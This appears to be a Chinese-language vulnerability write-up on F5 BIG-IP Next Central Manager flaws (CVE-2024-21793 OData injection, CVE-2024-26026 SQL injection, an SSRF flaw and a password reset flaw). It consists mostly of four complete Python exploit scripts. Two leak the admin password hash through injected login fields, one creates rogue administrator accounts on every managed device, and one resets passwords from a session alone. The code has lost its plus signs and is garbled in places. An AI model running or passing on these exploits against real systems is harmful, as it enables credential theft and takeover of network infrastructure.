0x00 前言
F5 的 Next Central Manager 是 BIG-IP Next 机群所有生命周期任务的集中控制点,该工具为企业提供了一个统一的管理用户界面,用于管理应用程序可用性、访问控制和安全解决方案。
0x01 漏洞描述
CVE-2024-21793:BIG-IP Next Central Manager OData注入漏洞,存在于Central Manager处理OData查询的方式中,可能导致未经身份验证的攻击者注入OData查询过滤器参数,从而获取敏感信息,如管理员密码哈希等。
CVE-2024-26026:BIG-IP Next Central Manager SQL注入漏洞,未经身份验证的攻击者可将恶意SQL查询注入数据库查询的输入字段或参数中,从而可能导致未授权访问、数据泄露和系统接管等。
其他:SSRF漏洞
其他:管理员密码重置漏洞
0x02 CVE编号
CVE-2024-21793
CVE-2024-26026
0x03 影响版本
BIG-IP Next Central Manager 20.x :20.0.1 - 20.1.0
0x04 漏洞详情
CVE-2024-21793 POC:
代码语言:javascript复制import string
import requests
import urllib3
import argparse
urllib3.disable_warnings()
def leak_hash(target: str, target_user: str = "admin"):
URL = f"{target}/api/login"
charset = string.digits string.ascii_letters '/.$'
current_guess = ''
while True:
guessed = False
for guess in charset:
full_guess = current_guess guess
stuff = requests.post(URL, json={
"username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1",
"password": "password",
"provider_type": "LDAP",
"provider_name": "LDAP"
}, verify=False).json()
if stuff["status"] == 500:
guessed = True
current_guess = guess
print("[ ]", current_guess)
break
if not guessed:
break
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Leak the admin password hash')
parser.add_argument('target', type=str, help='The target URL')
parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
args = parser.parse_args()
leak_hash(args.target, args.target_user)
CVE-2024-26026 POC:
代码语言:javascript复制import string
import requests
import urllib3
import argparse
urllib3.disable_warnings()
def encode_string(s: str) -> str:
return ",".join([f"chr({ord(c)})" for c in s])
def leak_hash(target: str, target_user: str = "admin"):
charset = string.digits string.ascii_letters '/.$'
encoded_user = encode_string(target_user)
URL = f"{target}/api/login"
current_guess = ''
while True:
guessed = False
for guess in charset:
full_guess = encode_string(current_guess guess '%')
stuff = requests.post(URL, json={
"username": "fake_user",
"password": "password",
"provider_type": "LDAP",
"provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
}, verify=False).json()
if "root distinguished name is required" in stuff["message"]:
guessed = True
current_guess = guess
print("[ ]", current_guess)
break
if not guessed:
break
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Leak the admin password hash')
parser.add_argument('target', type=str, help='The target URL')
parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
args = parser.parse_args()
leak_hash(args.target, args.target_user)
SSRF漏洞
POC:
代码语言:javascript复制import base64
import random
import requests
import urllib3
import argparse
urllib3.disable_warnings()
USERNAME_TO_MAKE = "admin" str(random.randint(100, 100000000))
PASSWORD_TO_SET = "adminadminadmin"
# noinspection RequestsNoVerify
def login(username: str, password: str, target: str) -> dict:
path = '/api/login'
return requests.post(target path, json={"username": username, "password": password}, verify=False).json()
# noinspection RequestsNoVerify
def get_devices(access_token: str, target: str) -> dict:
path = '/api/device/v1/summary?limit=50&page=1&select=address,certificate_validated,certificate_validity,certificate_validation_error,id,hostname,mode,platform_type,task_summary,version'
return requests.get(target path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()['_embedded']['devices']
# noinspection RequestsNoVerify
def get_device_info(access_token: str, device_id: str, target: str) -> dict:
path = f'/api/device/v1/proxy/{device_id}?path=/systems'
return requests.get(target path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()
# noinspection RequestsNoVerify
def make_device_user(access_token: str, device_id: str, username: str, password: str, ips: list[str], target: str):
path = f'/api/device/v1/proxy/{device_id}?path=/users'
temp_password = "adminadmin"
requests.put(target path, headers={"Authorization": f"Bearer {access_token}"}, verify=False, json={
"username": username,
"password": temp_password,
"role": "administrator"
}).json()
auth_header = base64.b64encode(f"{username}:{temp_password}".encode()).decode()
for ip in ips:
print("This should be empty or whitespace: ", requests.put(f"https://{ip}:5443/api/v1/me", headers={"Authorization": f"Basic {auth_header}"}, verify=False, json={
"newPassword": password,
"currentPassword": temp_password,
}).text)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Make a user on all devices')
parser.add_argument('username', type=str, help='The username to login with')
parser.add_argument('password', type=str, help='The password to login with')
parser.add_argument('instance', type=str, help='The instance to login to')
args = parser.parse_args()
USERNAME = args.username
PASSWORD = args.password
INSTANCE = args.instance
print(f"Attempting to make a user on all devices managed by {INSTANCE}")
tokens = login(USERNAME, PASSWORD, INSTANCE)
devices = get_devices(tokens['access_token'], INSTANCE)
for device in devices:
device_id = device['id']
device_info = get_device_info(tokens['access_token'], device['id'], INSTANCE)['_embedded']['systems'][0]
management_ips = [x.split('/')[0] for x in device_info['managementIps']]
print(f"Trying to make user {USERNAME_TO_MAKE}:{PASSWORD_TO_SET} on device with IPs:", management_ips)
make_device_user(tokens['access_token'], device_id, USERNAME_TO_MAKE, PASSWORD_TO_SET, management_ips, INSTANCE)
print("If it worked, you should now have an API user. Device login test: ")
# noinspection RequestsNoVerify
print(requests.get(f"https://{management_ips[0]}:5443/api/v1/login", headers={
'Authorization': "Basic " base64.b64encode(f"{USERNAME_TO_MAKE}:{PASSWORD_TO_SET}".encode()).decode()
}, verify=False).text)
管理员密码重置漏洞
POC:
代码语言:javascript复制import requests
import urllib3
urllib3.disable_warnings()
BASE_URL = 'https://instance'
USERNAME = 'admin'
PASSWORD = 'current_password'
NEW_PASSWORD = 'Gc8&7j@oWF!s'
# noinspection RequestsNoVerify
def login(username: str, password: str) -> dict:
path = '/api/login'
return requests.post(BASE_URL path, json={"username": username, "password": password}, verify=False).json()
# noinspection RequestsNoVerify
def reset(access_token: str, username: str):
body = {
"username": username,
"temporary_password": NEW_PASSWORD
}
return requests.post(BASE_URL '/api/system/v1/users/reset-password', headers={"Authorization": f"Bearer {access_token}"}, verify=False, json=body).text
# This simulates a logged-in user
tokens = login(USERNAME, PASSWORD)
# This resets the password w/o the previous one (using just a session)
print(reset(tokens['access_token'], USERNAME))
print(f"Now go to the instance and login with {NEW_PASSWORD} as the password.")
0x05 参考链接
https://my.f5.com/manage/s/article/K000138733
https://my.f5.com/manage/s/article/K000138732